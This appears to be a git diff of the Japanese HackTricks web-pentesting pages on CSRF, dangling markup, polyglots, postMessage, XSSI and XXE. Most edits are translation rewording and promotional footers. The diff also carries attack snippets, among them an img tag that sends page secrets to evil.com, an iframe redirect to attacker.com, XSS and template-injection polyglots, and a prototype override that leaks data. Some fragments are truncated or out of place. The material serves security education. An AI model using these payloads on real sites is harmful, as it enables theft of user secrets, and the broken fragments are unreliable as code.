+1. **代替コンテンツタイプの使用**: `Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用し、フォーム内で `enctype="text/plain"` を設定します。この方法は、バックエンドがContent-Typeに関係なくデータを使用するかどうかをテストします。
-2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを確認しながら、プリフライトリクエストを回避するために、データを `Content-Type: text/plain; application/json` で送信できます。これによりプリフライトリクエストがトリガーされませんが、サーバーが `application/json` を受け入れるように構成されている場合は正しく処理される可能性があります。
+2. **コンテンツタイプの変更**: プリフライトリクエストを回避しながら、サーバーがコンテンツをJSONとして認識することを確実にするために、データを `Content-Type: text/plain; application/json` で送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが `application/json` を受け入れるように構成されている場合は正しく処理される可能性があります。
-3. **SWF Flashファイルの利用**: より一般的ではないが実現可能な方法として、このような制限をバイパスするためにSWF Flashファイルを使用する方法があります。このテクニックの詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。
+3. **SWF Flashファイルの利用**: より一般的ではないが実現可能な方法として、SWF Flashファイルを使用してこの制限をバイパスする方法があります。このテクニックの詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。
### リファラー/オリジンチェックのバイパス
@@ -169,7 +169,7 @@ JSONデータをPOSTリクエストで送信しようとする際、HTMLフォ
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
-Referrerが送信するURL内のサーバーのドメイン名を設定するには、次のようにします:
+リファラが送信するURL内のサーバーのドメイン名を設定するには、次のようにします:
```html
@@ -198,7 +198,7 @@ document.forms[0].submit();
### **CSRFトークンの外部流出**
-もし**CSRFトークン**が**防御として使用されている**場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**それを外部流出**することができます。
+もし**CSRFトークン**が**防御として使用**されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**それを外部流出**することができます。
### **HTMLタグを使用したGET**
```xml
@@ -422,7 +422,7 @@ document.getElementById("form1").submit();
```
-### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する**
+### **CSRF トークンを盗み、iframe とフォームを使用して POST リクエストを送信する**
```html
@@ -586,23 +586,23 @@ login(USER, line.strip())
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\
-リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう
+リアルタイムのニュースと情報を通じて、ハッキングの世界を追いかけましょう
**最新の発表**\
-最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
+最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**Discord** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
-**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう!
+**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでAWSハッキングを学びましょう!
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
-* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
+* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index d2d92ca8d..8a488fcbe 100644
--- a/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -4,28 +4,28 @@
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
-HackTricksをサポートする他の方法:
+HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
-- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
+* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-## 履歴書
+## 要約
-このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出する**ために使用できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に役立ちますが、**いくつかのHTMLタグをインジェクトできる**場合です。\
-また、**秘密が平文で保存されている**場合や、クライアントからそれを**外部に送信**したい場合、またはスクリプトの実行を誤誘導したい場合にも役立ちます。
+このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出するために使用**できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に便利ですが、**いくつかのHTMLタグをインジェクトできる**場合に役立ちます。\
+また、いくつかの**秘密が平文で保存**されており、クライアントからそれを**外部に送信**したい場合や、スクリプトの実行を誤誘導したい場合にも役立ちます。
-ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**Content Security Policy**](../content-security-policy-csp-bypass/)をバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。
+ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)をバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。
## 主な応用
### 平文の秘密を盗む
-ページがロードされるときに`
![](http://evil.com/log.cgi?`をインジェクトすると、被害者はインジェクトされた`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものを使用するかどうかを確認してください)。
+ページが読み込まれるときに`<img src=)
test
```
### クリアテキストの秘密情報の盗み取り2
-最新のテクニックを使用してフォームを盗む(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます:
+最新のテクニックを使用してフォームを盗み取る(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます:
```html
x=>alert(/Chrome%20XSS%20filter%20bypass/);>
```
-### ポリグロッツ
+### ポリグロット
```markup
x=>alert(/Chrome%20XSS%20filter%20bypass/);>
```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
-Open Redirectに使用される同じテストがここでも使用できます。
+オープンリダイレクトに使用されるテストと同じものがここでも使用できます。
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)
### 基本的なテスト
```markup
@@ -173,7 +173,7 @@ ${{7*7}}
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
-## [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### 基本テスト
```markup
@@ -186,13 +186,13 @@ ${{7*7}}
```
## XSS
-### 基本的なテスト
+### 基本テスト
```markup
" onclick=alert() a="
'">
javascript:alert()
```
-### ポリグロッツ
+### ポリグロット
```markup
javascript:"/*'/*`/*-->
-->'"/>
@@ -222,14 +222,14 @@ javascript:"/*'/*`/*-->
-AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
+ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
-* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
-* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
+* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
index 99e8885c9..5e3e241fd 100644
--- a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
+++ b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
@@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
+* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
-* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
-* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
+* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
+* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
```python
@@ -52,12 +52,12 @@ javascript:"/*'/*`/*-->
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
-* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
-* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
+* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
+* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
+* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/pentesting-web/postmessage-vulnerabilities/README.md b/pentesting-web/postmessage-vulnerabilities/README.md
index 208a06176..970326824 100644
--- a/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/pentesting-web/postmessage-vulnerabilities/README.md
@@ -4,15 +4,15 @@
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら!
+**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
-* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
+- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
+- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
@@ -44,14 +44,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
-**targetOrigin**は'\*'または_https://company.com_のようなURLになります。
-**第二のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(たとえウィンドウオブジェクトの起源が異なっていても)。
-**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトの起源に送信されます。
+注意してください。**targetOrigin** は '\*' または _https://company.com_ のような URL になります。\
+**第二のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(たとえウィンドウオブジェクトのオリジンが異なっていても)。\
+**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトのオリジンに送信されます。
-### iframeと**targetOrigin**のワイルドカード攻撃
+### iframe と **targetOrigin** のワイルドカードへの攻撃
-[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header**保護がないページを見つけ、**ワイルドカード**(\*)を使用して**postMessage**を介して**機密**メッセージを送信している場合、**iframe**の**起源**を**変更**して、**機密**メッセージを自分が制御するドメインに**漏洩**させることができます。
-ページがiframedであっても**targetOrigin**が**URLに設定されていてワイルドカードではない**場合、この**トリックは機能しません**。
+[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header** 保護がないページを見つけ、**ワイルドカード** (\*) を使用して **postMessage** を介して **機密情報を送信**しているページが **iframed** できる場合、**iframe** の **origin** を **変更**して、**機密** メッセージを自分が制御するドメインに **漏洩** させることができます。\
+ページが iframed できるが **targetOrigin** が **URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**。
```markup
@@ -68,7 +68,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
```
## addEventListenerの悪用
-**`addEventListener`**は、JSによって使用される関数で、**`postMessages`を受信する関数を宣言**するために使用されます。\
+**`addEventListener`**は、JSが**`postMessages`を受信する関数を宣言する**ために使用される関数です。\
次のようなコードが使用されます:
```javascript
window.addEventListener("message", (event) => {
@@ -95,7 +95,7 @@ return;
### オリジンチェックのバイパス
-- **`event.isTrusted`**属性は、本物のユーザーアクションによって生成されたイベントに対してのみ`True`を返すため、セキュアと見なされます。正しく実装されていればバイパスするのは難しいですが、セキュリティチェックにおける重要性は高いです。
+- **`event.isTrusted`**属性は、本物のユーザーアクションによって生成されたイベントにのみ`True`を返すため、セキュアと見なされます。正しく実装されていればバイパスするのは難しいですが、セキュリティチェックでの重要性は顕著です。
- PostMessageイベントでのオリジン検証に**`indexOf()`**を使用すると、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
@@ -103,15 +103,15 @@ return;
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
-- `String.prototype.search()`の**`search()`**メソッドは正規表現を想定しており、文字列ではありません。正規表現以外のものを渡すと、暗黙のうちに正規表現に変換され、メソッドが潜在的にセキュリティリスクを抱える可能性があります。たとえば:
+- `String.prototype.search()`の**`search()`**メソッドは正規表現を想定しており、文字列ではありません。正規表現以外のものを渡すと、暗黙のうちに正規表現に変換され、メソッドが潜在的にセキュリティリスクを生じる可能性があります。たとえば:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
-- **`search()`**関数は、`search()`と同様に正規表現を処理します。正規表現が適切に構築されていない場合、バイパスされる可能性があります。
+- **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が適切に構造化されていない場合、バイパスされる可能性があります。
-- **`escapeHtml`**関数は、文字をエスケープして入力を無害化することを意図しています。ただし、新しいエスケープされたオブジェクトを作成せず、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しないようにできる場合、`escapeHtml`は期待どおりに機能しません。以下の例で示されています:
+- **`escapeHtml`**関数は、文字をエスケープして入力を無害化することを意図しています。ただし、新しいエスケープされたオブジェクトを作成せず、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待どおりに機能しません。以下の例で示されています:
- 期待される失敗:
```javascript
@@ -127,9 +127,9 @@ result = u(new Error("'\"\\"));
result.message; // "'"\"
```
-この脆弱性の文脈では、`File`オブジェクトは、読み取り専用の`name`プロパティを持つため、特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によって無害化されず、潜在的なセキュリティリスクを引き起こす可能性があります。
+この脆弱性の文脈では、`File`オブジェクトは、読み取り専用の`name`プロパティを持つため、`escapeHtml`関数によって無害化されないことが特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によって無害化されず、潜在的なセキュリティリスクを引き起こす可能性があります。
-- JavaScriptの`document.domain`プロパティは、ドメインを短縮するためにスクリプトによって設定でき、同じ親ドメイン内でより緩やかな同一オリジンポリシーの適用を可能にします。
+- JavaScriptの`document.domain`プロパティは、ドメインを短縮するためにスクリプトによって設定でき、同じ親ドメイン内でより緩和された同一オリジンポリシーの適用を可能にします。
### e.origin == window.origin バイパス
@@ -154,9 +154,9 @@ if( received_message.source !== window ) {
return;
}
```
-**`e.source`**のメッセージを**null**にすることができます。**iframe**を作成し、**postMessage**を**送信**して**すぐに削除**することで実現できます。
+**`e.source`**のメッセージを**null**にすることができます。**iframe**を作成し、**postMessage**を**送信**して**すぐに削除**することで。
-詳細は以下を**参照**してください:
+詳細は**こちらを参照**:
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
@@ -164,8 +164,8 @@ return;
### X-Frame-Headerバイパス
-これらの攻撃を実行するためには、理想的には**被害者のWebページ**を`iframe`内に配置できると良いでしょう。しかし、`X-Frame-Header`のようなヘッダーはその**動作**を**防ぐ**ことができます。\
-そのようなシナリオでは、より洗練されていない攻撃を使用することができます。脆弱なWebアプリケーションに新しいタブを開いて通信することができます:
+これらの攻撃を実行するためには、理想的には**被害者のWebページ**を`iframe`内に配置できると良いでしょう。しかし、`X-Frame-Header`のようなヘッダーはその**動作を防ぐ**ことができます。\
+そのようなシナリオでは、より洗練された攻撃を使用することができます。脆弱なWebアプリケーションに新しいタブを開いて通信することができます。
```markup
```
### Dynamic-JavaScript-based-XSSI と Authenticated-JavaScript-XSSI
-これらのXSSI攻撃タイプは、ユーザーのリクエストに応じてスクリプトに動的に機密情報が追加されることを含みます。検出は、クッキーを使用してリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報が存在している可能性があります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能のようなツールを使用して自動化することができます。
+これらのXSSI攻撃タイプは、ユーザーのリクエストに応じてスクリプトに動的に機密情報が追加されることを含みます。検出は、クッキーを使用してリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報の存在を示す可能性があります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能などのツールを使用して自動化することができます。
機密データがグローバル変数に格納されている場合、通常のXSSIで使用される方法と類似した方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数を乗っ取って情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することによって行うことができます。
```html
@@ -64,7 +64,7 @@ alert(JSON.stringify(leaked));
```
-Variables not residing in the global namespaceでは、*prototype tampering*が時々悪用されることがあります。このテクニックは、JavaScriptの設計を活用しており、コードの解釈が呼び出されたプロパティを特定するためにプロトタイプチェーンをトラバースすることを含んでいます。`Array`の`slice`などの特定の関数をオーバーライドすることで、攻撃者は非グローバル変数にアクセスして情報を漏洩させることができます。
+変数がグローバル名前空間に存在しない場合、*プロトタイプ改ざん*が悪用されることがあります。このテクニックは、JavaScriptの設計を活用し、コードの解釈が呼び出されたプロパティを特定するためにプロトタイプチェーンをトラバースすることに関与する点に基づいています。`Array`の`slice`などの特定の関数を上書きすることで、攻撃者は非グローバル変数にアクセスして情報を漏洩させることができます。
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
@@ -90,8 +90,8 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する。
-* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに提出してください。
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
+* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
diff --git a/pentesting-web/xxe-xee-xml-external-entity.md b/pentesting-web/xxe-xee-xml-external-entity.md
index 6bf92df2f..03ae969ba 100644
--- a/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/pentesting-web/xxe-xee-xml-external-entity.md
@@ -6,28 +6,28 @@
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
